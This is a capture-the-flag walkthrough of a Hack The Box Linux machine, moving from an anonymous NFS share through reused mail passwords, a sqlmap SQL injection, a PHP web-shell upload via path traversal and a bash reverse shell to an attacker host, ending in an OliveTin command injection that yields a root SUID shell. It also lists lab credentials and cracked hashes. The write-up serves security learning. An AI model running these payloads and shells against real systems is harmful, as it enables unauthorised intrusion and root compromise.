Enigma
Enigma is a medium-difficulty Linux box built around a self-hosted mail stack, an Italian invoicing application (OpenSTAManager), and an automation panel (OliveTin) running as root.
- platform
- Hack The Box
- target_os
- Linux (Ubuntu 24.04)
- difficulty
- Easy
- season
- Season 11
- logged
- June 29, 2026
Summary of Exploitation
Enigma is a medium-difficulty Linux box built around a self-hosted mail stack, an Italian invoicing application (OpenSTAManager), and an automation panel (OliveTin) running as root. Starting from nothing but an anonymous NFS export, the chain proceeds as follows:
- Anonymous NFS read exposes an onboarding share containing a PDF with a first set of mailbox credentials (
kevin). - Roundcube webmail + password reuse — the PDF points at a Roundcube instance on
mail001; reading kevin’s mailbox and reusing his password pivots tosarah, whose inbox holds OpenSTAManager admin credentials and a newsupport_001vhost. - OpenSTAManager SQL injection (CVE-2025-69214) — a time-based blind injection (filter-bypassed with
--tamper=between) dumps thezz_userstable, yielding the application’s bcrypt hashes. The database account is read-only (USAGEonly), so the SQLi serves credential extraction rather than file write. - Component-upload path traversal RCE — as OSM admin, a crafted module ZIP with an unsanitized
directoryfield drops a PHP web shell into the webroot, granting a shell aswww-data. - Config-leaked credential → user —
config.inc.phpexposes the DB password; the cracked bcrypt hash forharis(bestfriends) grants a stable user shell and the user flag. - OliveTin command injection (CVE-2026-27626) — OliveTin runs as root and its
password-typed action argument bypasses the shell safety check, allowing arbitrary command execution as root via the “Backup Database” action → SUID bash → root.
Recon Phase
An initial full-port Nmap scan was run against the target:
nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>
Results (abridged):
| Port | State | Service | Version |
|---|---|---|---|
| 22 | open | ssh | OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 |
| 80 | open | http | nginx 1.24.0 (redirect to enigma.htb) |
| 110 | open | pop3 | Dovecot pop3d |
| 111 | open | rpcbind | 2-4 (RPC #100000) |
| 143 | open | imap | Dovecot imapd |
| 993 | open | ssl/imap | Dovecot imapd |
| 995 | open | ssl/pop3 | Dovecot pop3d |
| 2049 | open | nfs_acl | 3 (RPC #100227) |
| (various) | open | mountd/nlockmgr/status | NFS ancillary services |
Key takeaways from recon:
- A full Dovecot mail stack (POP3/IMAP, plain + TLS) but no SMTP (port 25) — mail services are retrieval-only, so the path is “obtain credentials, then read mail,” not user enumeration via SMTP.
- NFS is fully exposed (2049 + rpcbind + mountd/nlockmgr/status) — the loudest attack surface and the likely initial leak.
- The web server redirects to
enigma.htb— a vhost, implying name-based virtual hosting worth fuzzing.
The hostname was added to /etc/hosts:
echo "<target-ip> enigma.htb mail001.enigma.htb support_001.enigma.htb" | sudo tee -a /etc/hosts
NFS Enumeration
The exported shares were enumerated:
showmount -e <target-ip>
# Export list:
# /srv/nfs/onboarding *
The onboarding export was mounted read-only and inspected:
mkdir -p /mnt/enigma
mount -t nfs -o vers=3,nolock <target-ip>:/srv/nfs/onboarding /mnt/enigma
ls -lan /mnt/enigma
The share contained an onboarding PDF that disclosed a first credential and the webmail vhost:
mail001.enigma.htb
kevin
Enigma2024!
Note. The export is
*(ro)with nono_root_squash, so it is purely an information leak — not a privesc vector. Its only role is to seed the credential chain.
Mail Enumeration & Lateral Movement
The onboarding PDF pointed at a Roundcube webmail instance hosted on the mail001 vhost:
http://mail001.enigma.htb/
Logging into Roundcube as kevin:Enigma2024! gave access to his mailbox via the web UI. The inbox contained an onboarding message from “Sarah (Accounts)” referencing the IT team and a “company shared drive” for access credentials.
Password reuse was tested against sarah, and the same password logged into her Roundcube mailbox:
http://mail001.enigma.htb/ -> login as sarah (reused password)
Sarah’s mailbox held the IT provisioning email — OpenSTAManager admin credentials and a new vhost:
URL: http://support_001.enigma.htb
Username: admin
Password: Ne3s4rtars78s
Exploitation Phase
Step 1 — OpenSTAManager SQL Injection (CVE-2025-69214)
The application identified itself as OpenSTAManager 2.9.8. The ajax_select.php endpoint (op=componenti) was injectable on the options[matricola] array parameter. The endpoint returns JSON ({"results":[...]}) and requires a valid authenticated session cookie.
The injection was confirmed by sqlmap, but extraction initially returned only blank values. The root cause was a back-end character filter:
[WARNING] it appears that the character '>' is filtered by the back-end server.
You are strongly advised to rerun with the '--tamper=between'
sqlmap’s binary-search extraction relies on > comparisons; with > filtered, every bit evaluated false and all retrieved values came back empty. Supplying --tamper=between (which rewrites A>B as a BETWEEN range) resolved it:
sqlmap -u 'http://support_001.enigma.htb/ajax_select.php?op=componenti&options[matricola]=1' \
--cookie='PHPSESSID=<session>' --tamper=between --dbms=mysql \
-D openstamanager -T zz_users -C email,password --dump
Result:
Database: openstamanager
Table: zz_users
+------------------+--------------------------------------------------------------+
| email | password |
+------------------+--------------------------------------------------------------+
| admin@enigma.htb | $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu |
| haris@enigma.htb | $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC |
+------------------+--------------------------------------------------------------+
The haris hash cracked instantly against rockyou, giving the credentials used to reach the haris user later in the chain:
hashcat -m 3200 haris_hash.txt /usr/share/wordlists/rockyou.txt
# $2y$10$WHf1T79...ZDr6eC:bestfriends
Scope note. The SQLi DB user (
brollin@localhost) holds onlyUSAGE— noFILEprivilege — soSELECT ... INTO OUTFILEandLOAD_FILEare impossible. The injection is read-only and serves credential extraction, not a direct file-write-to-shell. This was confirmed before pivoting:sqlmap -u '...' --cookie='...' --tamper=between --is-dba --privileges # current user is DBA: False ; privilege: USAGE
Alternative path. The SQLi is not strictly required to recover the
zz_usershashes. The same data is reachable post-RCE: upload the malicious component ZIP (Step 2), catch a reverse shell aswww-data,cat config.inc.phpto obtain thebrollinDB credentials (Fri3nds@9099), and query the database directly:mysql -u brollin -p'Fri3nds@9099' openstamanager -e 'SELECT email,password FROM zz_users;'The SQLi route was used here, but the config-leak route arrives at the identical
harishash without it.
Step 2 — Component-Upload Path Traversal RCE → www-data
OpenSTAManager 2.9.8 ships a plugin/module installer (Strumenti → Aggiornamenti) that accepts a .zip containing a component folder with a MODULE (or PLUGIN) manifest. In 2.9.8 the manifest’s directory field is unsanitized and used in the install path — a path-traversal-to-RCE primitive (vendor commit e50cd6a7b; see also the related P7M command-injection CVE-2025-69212).
A malicious component was crafted: a PHP web shell plus a manifest whose directory traverses out of the extraction base into the webroot.
pwn/MODULE:
name = "pwnsh"
directory = "../"
version = "1.0"
compatibility = "*"
order = 121
default = 0
enabled = 1
icon = "fa fa-cog"
options = ""
parent = ""
pwn/shell.php:
<?php system($_GET['c']); ?>
zip -r pwnsh.zip pwn/
# upload via Strumenti -> Aggiornamenti (admin session)
The correct traversal depth was determined empirically using a uniquely-named static marker file (status codes were unreliable because nginx serves the OSM login page as a catch-all for unknown paths — matches were validated on body content, not HTTP status). Depth ../ (one level above the extraction base) resolved to the web root:
curl -g -s 'http://support_001.enigma.htb/m_d1.txt' | grep -c MARK # -> 1
Execution confirmed:
curl -g -s 'http://support_001.enigma.htb/shell.php?c=id' | grep uid
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
A reverse shell was obtained (note: the shell reads $_GET, so the payload must be sent in the query string — use curl -G so --data-urlencode appends to the URL rather than POSTing):
nc -lvnp 4444 # attacker
curl -g -G 'http://support_001.enigma.htb/shell.php' \
--data-urlencode 'c=bash -c "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"'
Gotchas encountered:
curlinterprets[ ]in the URL as globbing ranges — usecurl -gto disable globbing on theoptions[matricola]parameter.- The catch-all login page returns HTTP 200 for arbitrary paths; success must be judged on response body content, not status code.
- There is no
public/subdirectory in 2.9.8 — nginx serves from the app root (/var/www/html/openstamanager/), so the traversal targets the app root directly, not apublic/dir.
Step 3 — Config-Leaked Credentials → user haris
With code execution as www-data, the OpenSTAManager DB config was read:
cat /var/www/html/openstamanager/config.inc.php
# $db_username = 'brollin';
# $db_password = 'Fri3nds@9099';
The home directories confirmed the user set (haris, kevin, sarah, it). The cracked password for haris (bestfriends) provided a stable user shell:
su haris # bestfriends
id # uid=1000(haris)
cat ~/user.txt
User flag obtained.
To enable an SSH session as haris (needed later to port-forward the localhost-only OliveTin instance), a public key was added to haris’s authorized_keys:
# as haris, from the su shell
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo '<attacker-public-key>' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
This allowed key-based SSH login (and later ssh -L tunneling):
ssh -i <attacker-private-key> haris@<target-ip>
Step 4 — Privilege Escalation Enumeration
haris had no sudo rights and only stock SUID binaries (including SUID mount.nfs, but the only NFS export is ro with root-squash, so it is not exploitable). Enumeration of /opt revealed the privesc target:
ls /opt # OliveTin roundcube
ps aux | grep -i olivetin
# root /usr/local/bin/OliveTin
OliveTin runs as root. OliveTin is a web app (bound to 127.0.0.1:1337) that exposes predefined shell commands as buttons; any action it runs executes as root. The config (/opt/OliveTin/OliveTin-linux-amd64/config.yaml) is owned by kevin and world-readable. Its actions include several with unsanitized {{ }} template arguments.
Because the panel is bound to localhost only, it was reached by SSH local port-forwarding through the haris key added earlier:
ssh -i <attacker-private-key> -L 1337:127.0.0.1:1337 haris@<target-ip>
# OliveTin UI now available at http://127.0.0.1:1337 on the attacker host
Step 5 — OliveTin Command Injection (CVE-2026-27626) → Root
The OliveTin instance is version 3000.10.0, vulnerable to CVE-2026-27626. OliveTin’s shell-mode safety check (checkShellArgumentSafety) blocks several dangerous argument types but not the password type, which accepts arbitrary shell metacharacters and passes them straight to sh -c.
The ping {{ host }} action was not usable — its host argument is typed ascii_identifier, and OliveTin rejected the metacharacters (invalid argument host, doesn't match ascii_identifier). The “Backup Database” action, however, defines a password-typed input, which bypasses the safety check entirely.
The action’s shell template wraps the argument in quotes, so the payload breaks out of the quote, runs the command, and re-opens the quote. The SUID-bash drop was used (cleaner than a reverse shell — it survives the action completing and yields an interactive root shell):
Payload entered in the Backup Database password field:
'; cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash; echo '
After triggering the action (the API endpoint POST /api/StartActionAndWait runs unauthenticated as guest):
ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root 1446024 ... /tmp/rootbash
/tmp/rootbash -p
whoami # root
cat /root/root.txt
Root flag obtained.
Privesc notes:
- A second OliveTin vector exists: the “Run backup script” action executes
/opt/backupScript.sh, which does not exist. Writing that file would yield root execution — but/optis not writable byharis, so this path requires first pivoting tokevin(who owns the config). Thepassword-type injection avoids that requirement.- CVE-2026-27626 also describes an unauthenticated webhook-JSON vector that skips type checks entirely; not needed here.
Key Takeaways
- Anonymous NFS exports are credential seeds. A read-only onboarding share with no
no_root_squashwas not a privesc, but it bootstrapped the entire credential chain. - Mail + password reuse is a chain multiplier. Reading one mailbox and reusing its password walked the access from
kevin→sarah→ application admin, with each inbox handing over the next credential. - Know your SQLi’s privileges before planning the exploit. The injection was real but the DB user had only
USAGE— confirming--is-dba/--privilegesearly ruled outINTO OUTFILEand saved time pursuing the (correct) component-upload RCE instead. - Filtered characters mask working injections. A back-end
>filter made a valid time-based injection look broken;--tamper=betweenwas the difference between “all blank” and a full table dump. - Validate web RCE on content, not status codes. A framework catch-all returning HTTP 200 for every path makes status-based fuzzing lie — body-content matching (a unique static marker) was essential to locate the traversal target.
- Automation panels running as root are prime privesc. OliveTin’s
{{ }}template arguments are command injection by design; thepassword-type bypass (CVE-2026-27626) turned a single web field into root.
Full Attack Chain
anonymous NFS (/srv/nfs/onboarding) ──> onboarding PDF ──> kevin creds
└─ mail read + password reuse ──> sarah ──> OpenSTAManager admin creds
└─ CVE-2025-69214 SQLi (--tamper=between) ──> zz_users hashes
└─ component-upload path traversal RCE ──> shell as www-data
└─ config.inc.php + cracked hash ──> su haris (bestfriends) [USER]
└─ OliveTin as root + CVE-2026-27626 (password-type injection)
└─ Backup Database action ──> SUID bash ──> root [ROOT]
Vulnerability References
- CVE-2025-69214 — OpenSTAManager authenticated SQL injection (
ajax_select.php/options[matricola]). - CVE-2025-69212 — OpenSTAManager P7M filename OS command injection (alternative authenticated RCE vector, ≤ 2.9.8).
- OpenSTAManager component-upload path traversal RCE — unsanitized
directoryfield in ZIPMODULE/PLUGINmanifest (vendor fix commite50cd6a7b). - CVE-2026-27626 — OliveTin OS command injection via
passwordargument type bypassingcheckShellArgumentSafety(GHSA-49gm-hh7w-wfvf; patched ≥ commit4bbd2ea).